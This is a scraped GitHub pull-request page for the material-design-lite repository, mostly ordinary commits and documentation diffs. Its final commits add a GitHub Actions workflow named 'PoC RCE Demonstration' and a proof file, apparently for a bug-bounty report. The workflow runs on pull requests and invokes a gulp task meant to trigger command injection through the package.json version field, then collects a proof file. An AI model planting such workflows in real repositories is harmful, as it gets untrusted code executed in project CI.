Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
128 commits
Select commit Hold shift + click to select a range
bb59d49
Fix typo in layout readme
katranci May 30, 2016
241f314
Fixes element.MaterialRadio.[un]check() calls on radio lists
marekjalovec Jun 29, 2016
137c13e
Add the `data-mdl-for` attribute to tooltips.
westy92 May 27, 2016
2009b7d
Added mdl-chip component
b-kelly Jun 6, 2016
e6e8dfc
Update README to match master branch version
sgomes Jul 1, 2016
092ef93
Fix drawer active state colors
LayZeeDK Jul 7, 2016
71cc8a3
Corrected template source URLs
LayZeeDK Jul 12, 2016
4944037
Fix drawer toggle alignment problem
Garbee Jul 12, 2016
b5953bb
Added style for unused variable
LayZeeDK Jul 12, 2016
7c7ba5c
Show tab overflow arrows
koba-ninkigumi Jul 12, 2016
1465519
Add issue template outlining feature request / bug reporting guidelines
traviskaufman Jul 12, 2016
03a4837
Merge pull request #4550 from google/chore/1.x/github-issue-template
traviskaufman Jul 13, 2016
8c340dc
Make tooltip not blur in Chrome
anirudhb Jul 21, 2016
b847ee8
Add chip icon for docs.
Garbee Jul 25, 2016
5274521
chore(package): update acorn to version 3.3.0
greenkeeperio-bot Jul 25, 2016
3ea4cc7
Merge pull request #4595 from google/greenkeeper-acorn-3.3.0
sgomes Jul 26, 2016
3b419c8
chore(package): update gulp-connect to version 5.0.0
greenkeeperio-bot Jul 28, 2016
b49f802
chore(package): update mocha to version 3.0.0
greenkeeperio-bot Aug 1, 2016
16172df
chore(package): update gulp-uglify to version 2.0.0
greenkeeperio-bot Aug 1, 2016
a21a8ef
Merge pull request #4608 from google/greenkeeper-gulp-connect-5.0.0
sgomes Aug 2, 2016
e26e440
Merge pull request #4626 from google/greenkeeper-gulp-uglify-2.0.0
sgomes Aug 2, 2016
69bd78c
Merge pull request #4622 from google/greenkeeper-mocha-3.0.0
sgomes Aug 2, 2016
fa249e0
chore(package): update mocha to version 3.0.1 (#4631)
greenkeeperio-bot Aug 5, 2016
45a0888
chore(package): update mocha to version 3.0.2
greenkeeperio-bot Aug 8, 2016
4a80bc5
Merge pull request #4643 from google/greenkeeper-mocha-3.0.2
sgomes Aug 8, 2016
e2dce8f
Bump to 1.2.0
Aug 12, 2016
dbc43c7
chore(package): update gulp-flatten to version 0.3.1
greenkeeperio-bot Aug 13, 2016
b4bc351
Merge pull request #4670 from google/greenkeeper-gulp-flatten-0.3.1
sgomes Aug 18, 2016
f08ce0d
Fix drawer toggle mis-alignment due to incorrect line-height.
Garbee Aug 15, 2016
8fcb86d
update space on comment of button disabled (#4718)
kvnol Sep 6, 2016
33d4407
Tweak drawer button alignment in desktop sizes.
Sep 7, 2016
f9b9aad
Merge pull request #4675 from google/hotfix/drawer-toggle-alignment
Garbee Sep 7, 2016
7f57f99
Bump to 1.2.1
Sep 8, 2016
6cdbdc8
chore(package): update gulp-load-plugins to version 1.3.0
greenkeeperio-bot Sep 9, 2016
645d841
Merge pull request #4731 from google/greenkeeper-gulp-load-plugins-1.3.0
sgomes Sep 13, 2016
f941a99
Add comment to be consistent with comments above other demo snippets
jojow Sep 13, 2016
609fc1b
Fix list class reference to display the proper modifier classes.
enniel Sep 14, 2016
88872e6
Fix search icon position in dashboard template
Mugen87 Sep 15, 2016
55a4082
chore(package): update acorn to version 4.0.3
greenkeeperio-bot Sep 16, 2016
b668213
Merge pull request #4762 from google/greenkeeper-acorn-4.0.3
sgomes Sep 22, 2016
263ecf3
chore(package): update jquery to version 3.1.1
greenkeeperio-bot Sep 22, 2016
07bd6fd
Add componentHanderConfig to config auto upgrade
AlexanderOtavka Sep 23, 2016
f90790b
Fix closure errors
AlexanderOtavka Sep 23, 2016
93304a8
Revert "Fix closure errors"
AlexanderOtavka Sep 23, 2016
2666977
Revert "Add componentHanderConfig to config auto upgrade"
AlexanderOtavka Sep 23, 2016
ef69a4a
Prevent component upgrades by catching events.
AlexanderOtavka Sep 23, 2016
24cb22f
chore(package): update gulp-mocha-phantomjs to version 0.12.0
greenkeeperio-bot Sep 24, 2016
621bdd2
Merge pull request #4789 from google/greenkeeper-gulp-mocha-phantomjs…
sgomes Sep 27, 2016
f711533
Add a missing space
nayzawoo Oct 2, 2016
9f025d4
fix
enniel Oct 4, 2016
fb59319
Merge pull request #4781 from AlexanderOtavka/initial-upgrade-config
sgomes Oct 4, 2016
f52e765
Merge pull request #4779 from google/greenkeeper-jquery-3.1.1
sgomes Oct 4, 2016
fde47f7
Fix "issue tracker" hyperlink in CONTRIBUTING.md .
apetro Oct 4, 2016
720deed
Fixed MaterialRadio.prototype.onChange_
ajchemist Sep 30, 2016
12e2829
fix radio unit test
Oct 7, 2016
75e7f9d
fix data-table unit test
Oct 7, 2016
8f58d1a
refix radio.js, mocha is true
Oct 7, 2016
c6a883a
Merge pull request #4813 from nayzawoo/patch-1
sgomes Oct 7, 2016
24e1b02
Merge pull request #4809 from aJchemist/patch-1
sgomes Oct 10, 2016
da66171
Fix alignment in list-control.html
ProZsolt Oct 10, 2016
3b8b0d1
Merge pull request #4833 from CodeGenTeam/fix-error
sgomes Oct 12, 2016
fcb8c35
Fix linting issue in radio.js
Oct 12, 2016
60e3886
Merge pull request #4838 from ProZsolt/patch-1
sgomes Oct 12, 2016
53204f6
chore(package): update gulp-sourcemaps to version 2.0.1
greenkeeperio-bot Oct 12, 2016
feca3a8
Merge pull request #4845 from google/greenkeeper-gulp-sourcemaps-2.0.1
sgomes Oct 12, 2016
4ee5202
feat(Card): enable border for mdl-card__supporting-text
leocaseiro Oct 14, 2016
b353f83
Add class to disable js layout switching
chajath Oct 18, 2016
14b6cb1
fix(tabs): Allow tab hrefs to point anywhere
MitchLillie Oct 19, 2016
4e901f0
Merge pull request #4849 from leocaseiro/enable-border-card-supportin…
sgomes Oct 25, 2016
40290b3
Merge pull request #4860 from MitchLillie/fix/allow-hrefs-in-tabs
sgomes Oct 25, 2016
faff9e1
fix ripple.js bug (#4865)
hanyuzhou2006 Oct 25, 2016
d672960
chore(package): update gulp-imagemin to version 3.1.0
greenkeeperio-bot Oct 28, 2016
2eaf506
Merge pull request #4885 from google/greenkeeper-gulp-imagemin-3.1.0
sgomes Oct 28, 2016
46493d5
Merge pull request #4859 from chajath/mdl-1.x
sgomes Nov 21, 2016
6f96b66
Update readme with mdl-layout__tab-manual-switch.
sgomes Nov 21, 2016
fbb370d
fix
enniel Dec 6, 2016
7c7b448
Merge pull request #4817 from enniel/fix-spinner-styles
sgomes Dec 7, 2016
e2df36d
fix(radio): add height and vertical-align
Dec 14, 2016
bdb5cae
Merge pull request #4978 from pndewit/mdl-1.x
sgomes Dec 15, 2016
0b2f959
Temporarily disable memory tests in drone due to timeouts.
sgomes Dec 15, 2016
730f1a7
chore(package): update gulp-sass to version 3.0.0
greenkeeperio-bot Dec 10, 2016
6c2b2ea
Merge pull request #4971 from google/greenkeeper-gulp-sass-3.0.0
sgomes Dec 15, 2016
5610263
chore(package): update babel-core to version 6.20.0
greenkeeperio-bot Dec 8, 2016
9fac88f
Fixing build after babel-core update.
Dec 15, 2016
b699ce9
Merge pull request #4966 from google/greenkeeper-babel-core-6.20.0
sgomes Dec 15, 2016
76b1fc9
Update most dependencies
Dec 15, 2016
7d7c86b
Updating JSCS and fixing linting errors.
Dec 15, 2016
2e98c1d
Merge pull request #4982 from google/sgomes-update-deps-2016-12
sgomes Dec 15, 2016
f92971e
sgomes-update-1.x-repo
Dec 16, 2016
388336c
_radio.scss: scale() instead of scale3d()
Abradoks Dec 19, 2016
aaf6966
Add mdl-card__menu docs. Fixes #1094
Dec 19, 2016
70fdbc8
Merge pull request #4987 from Abradoks/mdl-1.x
sgomes Dec 20, 2016
745f2dd
Bump to 1.3.0
Dec 21, 2016
b395350
Fix full width card action overflow in IE
lexaurin Jan 4, 2017
2265e3d
Remove invalid property.
Garbee Jan 30, 2017
245f19d
Fix #1335 (#5041)
malgirl Feb 24, 2017
dff2181
Updated README.md to communicate MCW as MDL v2 (#5023)
rystraum Feb 24, 2017
3caa5c3
chore(package): update gulp-zip to version 4.0.0 (#5018)
greenkeeperio-bot Feb 24, 2017
fd21836
Fix js lint issues (#5013)
MrMeison Feb 24, 2017
03120bb
Add Snackbar hide method
joaofnds Jan 21, 2017
0c710aa
Fix checked/unchecked style for checkbox
MrMeison Jan 18, 2017
8487c64
Fixed minor typo in dialog README
gilbertginsberg Feb 27, 2017
4109256
Fixed dead link for `CONTRIBUTING.md` in README.md
MewX Apr 26, 2017
0463566
Fix the aria-hidden setting for the case when a fixed drawer is open.…
jorr-at-google Jun 15, 2017
5324ced
Add expansion component
Garbee Mar 28, 2017
71ad03e
Automatic uncheck header checkbox
sebtiz13 Apr 2, 2017
47518d5
Update data-table.js
sebtiz13 Apr 2, 2017
2ae1382
Update data-table.js
sebtiz13 Apr 2, 2017
20b941b
Add public method setTab to set the active tab programmatically
eKoopmans Apr 12, 2017
3b749f1
Update _variables.scss
plug-n-play Jun 23, 2017
c5efd97
Remove mouseup event on slider to let change event occur.
Garbee Mar 28, 2017
df6196d
set is_dirty when placeholder exists
harleyb16 May 17, 2017
b848826
Check placeholder value when setting dirty state.
Garbee Jun 27, 2017
60f441a
Fix placeholder check for dirty state
Garbee Jun 27, 2017
94bef25
Add GitHub Actions workflow for PoC (no code changes)
donutt2u Sep 26, 2025
9089dec
Move updated workflow to main branch for PR testing
donutt2u Sep 26, 2025
19c6ea6
Add debug step and gulp-zip to workflow
donutt2u Sep 26, 2025
2e9fb36
Add poc-rce.yml to main for workflow execution
donutt2u Sep 26, 2025
b3f67f2
Update poc-rce.yml with dependencies and workflow_dispatch
donutt2u Sep 26, 2025
8155ce7
Force push to refresh GitHub Actions cache
donutt2u Sep 26, 2025
a9ff315
Force push to refresh GitHub Actions cache
donutt2u Sep 26, 2025
80667bb
Fix YAML errors in poc-rce.yml for GitHub Actions
donutt2u Sep 26, 2025
b73d83b
Remove conflicting build.yml workflow
donutt2u Sep 26, 2025
10fba2a
Update poc-rce.yml with more dependencies and shorter lines
donutt2u Sep 26, 2025
cf92e57
Add PoC RCE workflow
donutt2u Sep 26, 2025
016003f
PoC: Add proof file and trigger RCE via package.json version
donutt2u Sep 26, 2025
5d880d5
Add README note to trigger PR workflow
donutt2u Sep 26, 2025
8fd0583
VRP Challenge: Demonstrate RCE via command injection in package.json …
donutt2u Sep 26, 2025
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 0 additions & 1 deletion .drone.yml
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,6 @@ build:
- Xvfb $DISPLAY &
- curl -sSLo chrome.deb $CHROME && dpkg -i chrome.deb
- curl -sSLo driver.zip $WEBDRIVER && unzip -q driver.zip -d /usr/bin
- node test/memory/test.js
publish:
# see http://addons.drone.io/google_cloud_storage/ for details
gcs:
Expand Down
35 changes: 35 additions & 0 deletions .github/ISSUE_TEMPLATE.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
** PLEASE READ THIS BEFORE FILING AN ISSUE **

## Feature Requests / Breaking Changes in mdl-1.x

The MDL core team has actively begun work on the next major version of MDL, dubbed **MDL v2**. Because we are a small team that's hyper-focused on delivering the best Material Design Library possible for the web, _it is highly unlikely that we will be actively working on new features or making backwards-incompatible changes for MDL as it currently exists._

If there is a non-breaking feature you would like to see implemented in `mdl-1.x` and are willing to contribute, we'd be happy to offer assistance with you doing so. But we will not personally be actively working on said features.

While we are just getting started with our next version of MDL, you can see our current progress on [master](https://github.com/google/material-design-lite/tree/master) as well as an overview of the direction we're headed in our [(WIP) developer guide](https://github.com/google/material-design-lite/blob/master/docs/DEVELOPER.md) as well as our [initial POC branch](https://github.com/google/material-design-lite/tree/experimental/v2-architecture-poc) for our new architecture.

If you're interested in information for a specific MDL v2 component, check out our [v2-component issues](https://github.com/google/material-design-lite/issues?utf8=%E2%9C%93&q=is%3Aissue%20is%3Aopen%20label%3Av2-component) to see which v2 milestone it's associated with and feel free to subscribe to that issue for updates.

## Bugs

Please include the following information with your bug report:

> What MDL Version are you using? (please be specific, e.g. _major.minor.patch_)


> What browser(s) is this bug affecting (including version)?


> What OS (and version) are you using?


> What are the steps to reproduce the bug? Can you create a plunker/codepen/jsfiddle which reproduces it?


> What is the expected behavior?


> What is the actual behavior?


> Any other information you believe would be useful?
46 changes: 46 additions & 0 deletions .github/workflows/poc-rce.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
---
name: PoC RCE Demonstration
on:
pull_request:
branches: [master]
workflow_dispatch: true
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up Node.js
uses: actions/setup-node@v4
with:
node-version: '12'
- name: Install dependencies
run: |
npm install gulp@3.9.1 gulp-shell@0.8.0 gulp-zip@3.2.0 \
babel-register run-sequence@1.2.3 gulp-concat@2.6.1 \
gulp-util@3.0.8 babel-core@6.26.3
- name: Debug environment
run: |
echo "Node version:" && node --version
echo "NPM packages:" && npm list gulp gulp-shell gulp-zip \
babel-register run-sequence gulp-concat gulp-util babel-core
echo "Package version:" && node -p "require('./package.json').version"
echo "Gulpfile snippet:" && cat gulpfile.babel.js | \
grep pushCodeFiles -A10
- name: Run vulnerable Gulp task
run: |
echo "Running gulp pushCodeFiles with version: \
$(node -p "require('./package.json').version")"
npx gulp pushCodeFiles || echo "Gulp task failed (expected if \
gsutil missing); check RCE output"
- name: Check for proof file
run: |
if [ -f /tmp/rce_proof.txt ]; then
echo "Proof file found:" && cat /tmp/rce_proof.txt
else
echo "No proof file found (sandbox restriction)"
fi
- name: Upload proof artifact
uses: actions/upload-artifact@v4
with:
name: rce-proof
path: /tmp/rce_proof.txt
5 changes: 1 addition & 4 deletions .jscsrc
Original file line number Diff line number Diff line change
@@ -1,16 +1,13 @@
{
"preset": "google",
"esnext": true,
"disallowSpacesInAnonymousFunctionExpression": null,
"validateLineBreaks": "LF",
"validateIndentation": 2,
"excludeFiles": ["node_modules/**"],
"maximumLineLength": 130,
"validateQuoteMarks": "'",
"requireDotNotation": false,
"requireCamelCaseOrUpperCaseIdentifiers": null,
"additionalRules": ["./utils/jscs-rules/*.js", "../utils/jscs-rules/*.js"],
"closureCamelCase": true,
"requireCamelCaseOrUpperCaseIdentifiers": {"allowedPrefixes": ["opt_"]},
"jsDoc": {
"checkAnnotations": {
"preset": "closurecompiler",
Expand Down
3 changes: 2 additions & 1 deletion CONTRIBUTING.md
Original file line number Diff line number Diff line change
Expand Up @@ -75,7 +75,7 @@ Please provide any URLs or screenshots of good examples of usage of this compone
If you would like to implement a new feature then consider what kind of change it is:

* **Major Changes** that you wish to contribute to the project should be discussed first on our
[issue tracker][https://github.com/google/material-design-lite/issues] so that we can better coordinate our efforts, prevent
[issue tracker][] so that we can better coordinate our efforts, prevent
duplication of work, and help you to craft the change so that it is successfully accepted into the
project.
* **Small Changes** can be crafted and submitted to the [GitHub Repository][github] as a Pull Request.
Expand Down Expand Up @@ -223,6 +223,7 @@ changes to be accepted, the CLA must be signed. It's a quick process, we promise
*This guide was inspired by the [AngularJS contribution guidelines](https://github.com/angular/angular.js/blob/master/CONTRIBUTING.md).*

[github]: https://github.com/google/material-design-lite
[issue tracker]: https://github.com/google/material-design-lite/issues
[individual-cla]: http://code.google.com/legal/individual-cla-v1.0.html
[corporate-cla]: http://code.google.com/legal/corporate-cla-v1.0.html
[js-style-guide]: http://google-styleguide.googlecode.com/svn/trunk/javascriptguide.xml
Expand Down
1 change: 1 addition & 0 deletions GOOGLE_VRP_PROOF.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Google VRP Challenge Proof - RCE via package.json version injection
123 changes: 20 additions & 103 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,13 +7,21 @@
[![Dependency Status](https://david-dm.org/google/material-design-lite.svg)](https://david-dm.org/google/material-design-lite)

> An implementation of [Material Design](http://www.google.com/design/spec/material-design/introduction.html)
components in vanilla CSS, JS, and HTML
components in vanilla CSS, JS, and HTML.

Material Design Lite (MDL) lets you add a Material Design look and feel to your
static content websites. It doesn't rely on any JavaScript frameworks or
libraries. Optimized for cross-device use, gracefully degrades in older
browsers, and offers an experience that is accessible from the get-go.

> ### Limited support

> Material Design Lite is now in limited support, with development having moved to the
> [Material Components for the web](https://github.com/material-components/material-components-web) repository.

> No further development is taking place in MDL by the core team, but we are happy to review PRs, fix critical bugs and
> push out new releases. No breaking changes will be accepted.

## Use MDL on your site?

**This document is targeted at developers that will contribute to or compile
Expand All @@ -22,15 +30,14 @@ MDL. If you are looking to use MDL on your website or web app please head to

## Browser Support


| IE9 | IE10 | IE11 | Chrome | Opera | Firefox | Safari | Chrome (Android) | Mobile Safari |
|-----|------|------|--------|-------|---------|--------|------------------|---------------|
| B | A | A | A | A | A | A | A | A |

A-grade browsers are fully supported. B-grade browsers will gracefully degrade
to our CSS-only experience.

## Getting Started

### Download / Clone

Clone the repo using Git:
Expand All @@ -46,7 +53,7 @@ Windows users, if you have trouble compiling due to line endings then make sure
you configure git to checkout the repository with `lf` (unix) line endings. This
can be achieved by setting `core.eol`.

```
```bash
git config core.eol lf
git config core.autocrlf input
git rm --cached -r .
Expand All @@ -56,118 +63,28 @@ git reset --hard
> Remember, the master branch is considered unstable. Do not use this in
production. Use a tagged state of the repository, npm, or bower for stability!

### What's included

In the repo you'll find the following directories and files.

| File/Folder | Provides |
|-----------------|------------------------------------------------|
| CONTRIBUTING.md | MDL contribution guidelines. |
| docs | Files for the documentation site. |
| gulpfile.js | gulp configuration for MDL. |
| LICENSE | Project license information. |
| package.json | npm package information. |
| README.md | Details for quickly understanding the project. |
| src | Source code for MDL components. |
| templates | Example templates. |
| test | Project test files. |

### Build

To get started modifying the components or the docs, first install the necessary
dependencies, from the root of the project:

```bash
npm install && npm install -g gulp
```

> MDL requires NodeJS 0.12.

Next, run the following one-liner to compile the components and the docs and
spawn a local instance of the documentation site:

```bash
gulp all && gulp serve
```

Most changes made to files inside the `src` or the `docs` directory will cause
the page to reload. This page can also be loaded up on physical devices thanks
to BrowserSync.

To build a production version of the components, run:

```bash
gulp
```

This will clean the `dist` folder and rebuild the assets for serving.

### Templates

The `templates/` subdirectory contains a few exemplary usages of MDL. Templates
have their own, quasi-separate gulp pipeline and can be compiled with
`gulp templates`. The templates use the vanilla MDL JS and
[themed](http://www.getmdl.io/customize/index.html) CSS files. Extraneous styles
are kept in a separate CSS file. Use `gulp serve` to take a look at the
templates:

* [Blog Template](http://www.getmdl.io/templates/blog)
* [Dashboard Template](http://www.getmdl.io/templates/dashboard)
* [Text Heavy Webpage Template](http://www.getmdl.io/templates/text-only)
* [Stand Alone Article Template](http://www.getmdl.io/templates/article)
* [Android.com MDL Skin Template](http://www.getmdl.io/templates/android-dot-com)
* [Portfolio Template](http://www.getmdl.io/templates/portfolio)

> Templates are not officially supported in IE9 and legacy browsers that do not
pass the minimum-requirements defined in our
[cutting-the-mustard test](https://github.com/google/material-design-lite/blob/87c48c22416c3e83850f7711365b2a43ba19c5ce/src/mdlComponentHandler.js#L336-L349).

The templates refer to CDN hosted versions of the libraries. If you'd like to
test the templates against locally built MDL libraries you need to run the
`templates:localtestingoverride` gulp task before running `gulp serve`:

```bash
gulp all && gulp templates:localtestingoverride && gulp serve
```

> Beware as any changes to the `templates` directory will automatically revert
the templates local testing overrides. In this case make sure you run the
`templates:localtestingoverride` gulp task again or modify the `watch()`
function in the gulp file.

## Versioning

For transparency into our release cycle and in striving to maintain backward
compatibility, Material Design Lite is maintained under
[the Semantic Versioning guidelines](http://semver.org/). Sometimes we screw up,
but we'll adhere to those rules whenever possible.

## Feature requests

If you find MDL doesn't contain a particular component you think would be
useful, please check the issue tracker in case work has already started on it.
If not, you can request a [new component](https://github.com/Google/material-design-lite/issues/new?title=[Component%20Request]%20{Component}&body=Please%20include:%0A*%20Description%0A*%20Material%20Design%20Spec%20link%0A*%20Use%20Case%28s%29).
Please keep in mind that one of the goals of MDL is to adhere to the Material
Design specs and therefore some requests might not be within the scope of this
project.
MDL is currently in limited support mode, with no further development taking place by the core team.
We are happy to accept and review pull requests for new functionality, however, as long as there are no breaking
changes.

## Want to contribute?

If you found a bug, have any questions or want to contribute. Follow our
[guidelines](https://github.com/google/material-design-lite/blob/master/CONTRIBUTING.md),
[guidelines](https://github.com/google/material-design-lite/blob/mdl-1.x/CONTRIBUTING.md),
and help improve the Material Design Lite. For more information visit our
[wiki](https://github.com/google/material-design-lite/wiki).

## Do you include any features that a framework comes with?
Please use the default branch, `mdl-1.x`.

Take note that [Material Components for Web](https://github.com/material-components/material-components-web), which is MDL v2, is under early Alpha stages (which means everything is a moving target, and we can change anything at any moment). Use with caution.

Material Design Lite is focused on delivering a vanilla CSS/JS/HTML library of
components. We are not a framework. If you are building a single-page app and
require features like two-way data-binding, templating, CSS scoping and so
forth, we recommend trying out the excellent
[Polymer](http://polymer-project.org) project.
However, we would absolutely love to have people testing MCW and provide feedback about their experiences using it, especially integrating with other frameworks and libraries.

## License

© Google, 2015. Licensed under an
[Apache-2](https://github.com/google/material-design-lite/blob/master/LICENSE)
license.
# PoC Update
2 changes: 1 addition & 1 deletion bower.json
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
{
"name": "material-design-lite",
"version": "1.1.3",
"version": "1.3.0",
"homepage": "https://github.com/google/material-design-lite",
"authors": [
"Material Design Lite team"
Expand Down
Binary file added docs/_assets/comp_chips.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
30 changes: 30 additions & 0 deletions docs/_pages/components.md
Original file line number Diff line number Diff line change
Expand Up @@ -98,6 +98,25 @@ categories:
file: image.html
- caption: Event
file: event.html
- name: chips
title: Chips
description: Represents complex entities in small blocks.
components:
- name: chip
class: mdl-chip
snippets:
- snippet_group:
- caption: Basic Chip
file: basic.html
- caption: Deletable Chip
file: deletable.html
- caption: Button Chip
file: button.html
- snippet_group:
- caption: Contact Chip
file: contact.html
- caption: Deletable Contact Chip
file: deletable-contact.html
- name: dialog
title: Dialogs
description: Modal windows for dedicated user input.
Expand All @@ -108,6 +127,17 @@ categories:
limited cross-browser support. To ensure support across all modern
browsers, please consider using a polyfill or creating your own.
There is no polyfill included with MDL.
- name: expansion
title: Expansion
description: Collapsible content sections.
components:
- name: expansion
class: mdl-expansion
snippets:
- snippet_group:
- caption: Example Expansion
file: expansion.html
full_width: true
- name: layout
title: Layout
description: Building blocks for constructing a page layout.
Expand Down
8 changes: 4 additions & 4 deletions gulpfile.babel.js
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@
*
*/

// jscs:disable jsDoc
// jscs:disable jsDoc

'use strict';

Expand All @@ -26,7 +26,7 @@ import fs from 'fs';
import path from 'path';
import mergeStream from 'merge-stream';
import del from 'del';
import vinylPaths from'vinyl-paths';
import vinylPaths from 'vinyl-paths';
import runSequence from 'run-sequence';
import browserSync from 'browser-sync';
import through from 'through2';
Expand Down Expand Up @@ -219,12 +219,12 @@ gulp.task('closure', () => {
compilerPath: 'node_modules/google-closure-compiler/compiler.jar',
fileName: 'material.closure.min.js',
compilerFlags: {
// jscs:disable closureCamelCase
// jscs:disable requireCamelCaseOrUpperCaseIdentifiers
compilation_level: 'ADVANCED_OPTIMIZATIONS',
language_in: 'ECMASCRIPT6_STRICT',
language_out: 'ECMASCRIPT5_STRICT',
warning_level: 'VERBOSE'
// jscs:enable closureCamelCase
// jscs:enable requireCamelCaseOrUpperCaseIdentifiers
}
}))
.pipe(gulp.dest('./dist'));
Expand Down
Loading